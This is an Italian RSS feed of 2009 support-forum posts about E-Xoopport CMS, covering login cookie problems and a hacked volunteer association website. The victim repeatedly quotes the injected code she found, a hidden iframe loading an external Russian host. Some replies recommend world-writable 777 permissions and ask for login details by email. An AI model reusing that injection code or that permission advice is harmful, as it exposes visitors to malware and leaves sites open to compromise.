<![CDATA[E-Xoopport Official Site :: Forum: Samsara]]> http://www.e-xoopport.it/ <![CDATA[E-Xoopport Official Site :: Forum:]]> http://www.e-xoopport.it/images/button.gif http://www.e-xoopport.it/ 88 31 <![CDATA[Login :: Re:Login]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=670#post_item_670
Quote:
Mi lamentano il fatto che dopo aver inserito user e password e visto il messaggio di benvenuto sul sito non sono comunque loggati.
Devo ammetere che avevo notato anche io il problema... Il problema nonè costante.
La versione è una 3.0.
Qualcuno ha qualche suggerimento?
Grazie, Silvia


Mi vengono in mente 2 cose che potrebbero essere:
1) il percorso dell'url nel mainfile fa riferimento ad un percorso tipo http://tuosito.it ed accedendo a http://www.tuosito.it il cookie della sessione non viene riconosciuto perchè visto in un altro dominio...controlla bene questa cosa
2) in seconda battuta, io ho notato che ci sono problemi con firefox con alcuni cms, non solo con e-xoopport, risolvibili svuotando i cookie.

E' escluso che sia il php4 il problema perchè la samsara era stata scritta in php4
Se nessuna di queste 2 cose funziona, bisognerebbe fare un pò di debug sul tuo sito per vedere qual è il problema.]]>... Mon, 05 Oct 2009 17:12:19 +0000 altropc@e-xoopport.it (Francesco Mazzi) E-Xoopport Project <![CDATA[Login :: Re:Login]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=669#post_item_669 L'utente silvia22 il 2/10/2009 09:40 ha scritto:
Quote:
L'utente simosale il 29/9/2009 20:36 ha scritto:
Quote:
Stesso problema...

alla fine ho concluso che il problema è in una impostazione di explorer (7 e peggio su 8) sull'accettazione dei cookie, infatti con firefox le stesse persone non avevano problemi.

Fatti un po' di test la causa sembrava in effetti essere quella

Ho provato anche ad inserire il certificato sui cookie ma niente da fare.

Risolto attivando le sessioni, non ho più avuto problemi.

altrimenti prova ad aggiornare le classi user e group all'ultima versione.

L'utente silvia22 il 29/9/2009 17:31 ha scritto:
Quote:
Mi lamentano il fatto che dopo aver inserito user e password e visto il messaggio di benvenuto sul sito non sono comunque loggati.
Devo ammetere che avevo notato anche io il problema... Il problema nonè costante.
La versione è una 3.0.
Qualcuno ha qualche suggerimento?
Grazie, Silvia


Grazie Simone ma nulla di fatto... Le sessioni sembrano peggiorare il problema..
Può essere colapa di php?
La samsara è scritta per php 5 è io ho 4.4.9 su server Linux Aruba Hosting
Ho aggiornato dalla 3.0 alla 3.1 ma non vedo nulla tra i file dell'aggiornamento che mi faccia sperare...
Altre idee??
Grazie, Silvia



Escluso (quasi) completamente nel senso che la 3.1 funziona bene anche su php 4.

La cosa però che mi stupisce è il fatto che con le sessioni il problema addirittura peggiori, credo sia legato al tipo di hosting su cui ti appoggi, magari non permette le sessioni però è molto stano...

L'ultima cosa che mi viene in mente è cambiare il nome del cookie di sessione dalle preferenze di sistema.

A suo tempo ho provato anche a mettere la privacy al cookie ma alla fine qualcuno aveva problemi comunque, le sessioni mi hanno salvato, non sapevo più dove sbattere la testa.

Se hai modo, chiedi a un utente con problemi di ridurre le impostazioni privacy e ritentare.

magari qualcuno che ci legge e ha scritto il codice di ex ti può aiutare meglio di me.

]]>... Fri, 02 Oct 2009 12:13:23 +0000 () E-Xoopport Project <![CDATA[Login :: Re:Login]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=668#post_item_668
Quote:
Stesso problema...

alla fine ho concluso che il problema è in una impostazione di explorer (7 e peggio su 8) sull'accettazione dei cookie, infatti con firefox le stesse persone non avevano problemi.

Fatti un po' di test la causa sembrava in effetti essere quella

Ho provato anche ad inserire il certificato sui cookie ma niente da fare.

Risolto attivando le sessioni, non ho più avuto problemi.

altrimenti prova ad aggiornare le classi user e group all'ultima versione.

L'utente silvia22 il 29/9/2009 17:31 ha scritto:
Quote:
Mi lamentano il fatto che dopo aver inserito user e password e visto il messaggio di benvenuto sul sito non sono comunque loggati.
Devo ammetere che avevo notato anche io il problema... Il problema nonè costante.
La versione è una 3.0.
Qualcuno ha qualche suggerimento?
Grazie, Silvia


Grazie Simone ma nulla di fatto... Le sessioni sembrano peggiorare il problema..
Può essere colapa di php?
La samsara è scritta per php 5 è io ho 4.4.9 su server Linux Aruba Hosting
Ho aggiornato dalla 3.0 alla 3.1 ma non vedo nulla tra i file dell'aggiornamento che mi faccia sperare...
Altre idee??
Grazie, Silvia
]]>... Fri, 02 Oct 2009 09:40:52 +0000 (Silvia Belucco) E-Xoopport Project <![CDATA[Login :: Re:Login]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=667#post_item_667
alla fine ho concluso che il problema è in una impostazione di explorer (7 e peggio su 8) sull'accettazione dei cookie, infatti con firefox le stesse persone non avevano problemi.

Fatti un po' di test la causa sembrava in effetti essere quella

Ho provato anche ad inserire il certificato sui cookie ma niente da fare.

Risolto attivando le sessioni, non ho più avuto problemi.

altrimenti prova ad aggiornare le classi user e group all'ultima versione.

L'utente silvia22 il 29/9/2009 17:31 ha scritto:
Quote:
Mi lamentano il fatto che dopo aver inserito user e password e visto il messaggio di benvenuto sul sito non sono comunque loggati.
Devo ammetere che avevo notato anche io il problema... Il problema nonè costante.
La versione è una 3.0.
Qualcuno ha qualche suggerimento?
Grazie, Silvia
]]>... Tue, 29 Sep 2009 20:36:47 +0000 () E-Xoopport Project <![CDATA[TOPIC -- Login]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=666#post_item_666 Devo ammetere che avevo notato anche io il problema... Il problema nonè costante.
La versione è una 3.0.
Qualcuno ha qualche suggerimento?
Grazie, Silvia]]>... Tue, 29 Sep 2009 17:31:56 +0000 (Silvia Belucco) <![CDATA[TROJAN HORSE SUL SITO :: Re:TROJAN HORSE SUL SITO]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=665#post_item_665 Visto quello che hai segnalato, se non riesci a trovare tutti i file che caricano siti esterni, la cosa migliore, se non hai fatto personalizzazioni al codice, è di utilizzare i file di E-xoopport dei pacchetti di installazione e poi copiare le varie cartelle cache (controllando che siano pulite) e cartelle di immagini caricate. Poi andrebbe controllato anche il database se c'è qualcosa.
Aspettiamo i log per vedere cosa è successo, grazie.
Per quanto riguarda i permessi è semplice:
cartella cache e sottocartelle cache dentro le cartelle dei moduli a 777 e file inclusi in esse 666 (puoi anche fare per far prima 777 a tutti), poi 777 anche alle cartelle images/library, images/avatar e images/subject
Ciao

L'utente ladymony il 25/9/2009 19:35 ha scritto:
Quote:
A dire la verità non so ancora se ho risolto il problema...
ho scaricato in locale tutte le cartelle e i files del sito, ho scansionato il tutto con il mio antivirus e con tutti quelli che ho trovato in rete inoltre con ad aware e asquared ho eliminato tutti virus malware spyware ecc. che sono stati segnalati e ho ricaricato il tutto, però non mi ricordo più come andavano settati i permessi delle cartelle....qualcuno me lo sa dire?
Adesso non mi compare più la segnalazione dall'antivirus quindi in teoria dovrebbe essere tutto a posto ma.... quando digito l'indirizzo del sito oppure aggiorno la pagina in basso a sinistra della schermata di internet explorer mi compare (mentre stà caricando la pagina) prima l'indirizzo del mio sito poi per pochi secondi compare un'altro indirizzo....questa cosa non mi piace....ho paura che sia rimasta ancora quache traccia.
Per quanto riguarda il log vedo di recuperarlo.
Grazie a tutti dell'aiuto
Ciao
Monica :-)
]]>... Fri, 25 Sep 2009 20:16:09 +0000 altropc@e-xoopport.it (Francesco Mazzi) E-Xoopport Project <![CDATA[TROJAN HORSE SUL SITO :: Re:TROJAN HORSE SUL SITO]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=664#post_item_664 ho scaricato in locale tutte le cartelle e i files del sito, ho scansionato il tutto con il mio antivirus e con tutti quelli che ho trovato in rete inoltre con ad aware e asquared ho eliminato tutti virus malware spyware ecc. che sono stati segnalati e ho ricaricato il tutto, però non mi ricordo più come andavano settati i permessi delle cartelle....qualcuno me lo sa dire?
Adesso non mi compare più la segnalazione dall'antivirus quindi in teoria dovrebbe essere tutto a posto ma.... quando digito l'indirizzo del sito oppure aggiorno la pagina in basso a sinistra della schermata di internet explorer mi compare (mentre stà caricando la pagina) prima l'indirizzo del mio sito poi per pochi secondi compare un'altro indirizzo....questa cosa non mi piace....ho paura che sia rimasta ancora quache traccia.
Per quanto riguarda il log vedo di recuperarlo.
Grazie a tutti dell'aiuto
Ciao
Monica :-)]]>... Fri, 25 Sep 2009 19:35:06 +0000 () E-Xoopport Project <![CDATA[TROJAN HORSE SUL SITO :: Re:TROJAN HORSE SUL SITO]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=663#post_item_663
Quote:
Ciao a tutti, ho un problema che non so come risolvere, quando accedo al mio sito compare una segnalazione dal mio antivirus (avast) che mi dice che è stato rilevato un cavallo di ***** sul sito (illiframe-b) mi sono messa alla ricerca nelle cartelle ed ho trovato in tutti i files index questo codice inserito:
<html>
 <head><meta http-equiv="Refresh" content="0; URL=<?php echo $url;?>" /></head>
 <body><div style="display:none"><iframe src="http://biozov.ru:8080/index.ph
p" width=267 height=273 ></iframe></div></body>
 </html>
ho provato a cancellare tutti gli index e inserirli di nuovo, ma non ho risolto niente....
chiedo aiuto sono disperata anche perchè il mio sito www.croceverdevicenza.org è di un'associazione di volontariato ed è molto importante per i nostri volontari poter accedere per le comunicazioni e i turni di servizio.
Grazie 
Ciao Monica


Monica io ora il sito lo vedo bene, hai già risolto? Sarebbe comunque importante poter risalire a come hanno fatto leggendo i log e sapendo più o meno a che ora lo hanno fatto...puoi recuperare questi dati chiedendo al tuo hosting? grazie]]>... Tue, 22 Sep 2009 20:09:26 +0000 altropc@e-xoopport.it (Francesco Mazzi) E-Xoopport Project <![CDATA[TROJAN HORSE SUL SITO :: Re:TROJAN HORSE SUL SITO]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=662#post_item_662
Se vuoi scrivimi in pm o mail a simone@ltmedia.it, mi mandi i dati di accesso e vedo di aiutarti.



L'utente ladymony il 19/9/2009 16:42 ha scritto:
Quote:
L'utente simosale il 19/9/2009 14:55 ha scritto:
Quote:
Ciao,

da quello che si vede nell'html del tuo sito il codice è stato inserito in qualche altro file, non nell'index, prova a vedere nell'header.php o nel mainfile.php nella root.

Però più importante sarebbe capire come hanno fatto ad hackerarti il sito...

se non riesci a risolvere e hai bisogno ti aiuto volentieri.

L'utente ladymony il 19/9/2009 12:30 ha scritto:
Quote:
Ciao a tutti, ho un problema che non so come risolvere, quando accedo al mio sito compare una segnalazione dal mio antivirus (avast) che mi dice che è stato rilevato un cavallo di ***** sul sito (illiframe-b) mi sono messa alla ricerca nelle cartelle ed ho trovato in tutti i files index questo codice inserito:
<html>
 <head><meta http-equiv="Refresh" content="0; URL=<?php echo $url;?>" /></head>
 <body><div style="display:none"><iframe src="http://biozov.ru:8080/index.ph
p" width=267 height=273 ></iframe></div></body>
 </html>
ho provato a cancellare tutti gli index e inserirli di nuovo, ma non ho risolto niente....
chiedo aiuto sono disperata anche perchè il mio sito www.croceverdevicenza.org è di un'associazione di volontariato ed è molto importante per i nostri volontari poter accedere per le comunicazioni e i turni di servizio.
Grazie 
Ciao Monica
 

Nel mainfile e nell'header nessuna traccia li ho anche cancellati e ricaricati ma il problema continua ad esserci...qualche altro suggerimento?
Sarebbe molto importante capire come hanno fatto per proteggere meglio il sito, purtroppo io non sono un'esperta non so proprio come fare.
Grazie per l'interessamento
Ciao
Monica
]]>... Sat, 19 Sep 2009 16:54:36 +0000 () E-Xoopport Project <![CDATA[TROJAN HORSE SUL SITO :: Re:TROJAN HORSE SUL SITO]]> http://www.e-xoopport.it/modules/forum/post.php?post_id=661#post_item_661
Quote:
Ciao,

da quello che si vede nell'html del tuo sito il codice è stato inserito in qualche altro file, non nell'index, prova a vedere nell'header.php o nel mainfile.php nella root.

Però più importante sarebbe capire come hanno fatto ad hackerarti il sito...

se non riesci a risolvere e hai bisogno ti aiuto volentieri.

L'utente ladymony il 19/9/2009 12:30 ha scritto:
Quote:
Ciao a tutti, ho un problema che non so come risolvere, quando accedo al mio sito compare una segnalazione dal mio antivirus (avast) che mi dice che è stato rilevato un cavallo di ***** sul sito (illiframe-b) mi sono messa alla ricerca nelle cartelle ed ho trovato in tutti i files index questo codice inserito:
<html>
 <head><meta http-equiv="Refresh" content="0; URL=<?php echo $url;?>" /></head>
 <body><div style="display:none"><iframe src="http://biozov.ru:8080/index.ph
p" width=267 height=273 ></iframe></div></body>
 </html>
ho provato a cancellare tutti gli index e inserirli di nuovo, ma non ho risolto niente....
chiedo aiuto sono disperata anche perchè il mio sito www.croceverdevicenza.org è di un'associazione di volontariato ed è molto importante per i nostri volontari poter accedere per le comunicazioni e i turni di servizio.
Grazie 
Ciao Monica
 

Nel mainfile e nell'header nessuna traccia li ho anche cancellati e ricaricati ma il problema continua ad esserci...qualche altro suggerimento?
Sarebbe molto importante capire come hanno fatto per proteggere meglio il sito, purtroppo io non sono un'esperta non so proprio come fare.
Grazie per l'interessamento
Ciao
Monica]]>... Sat, 19 Sep 2009 16:42:52 +0000 () E-Xoopport Project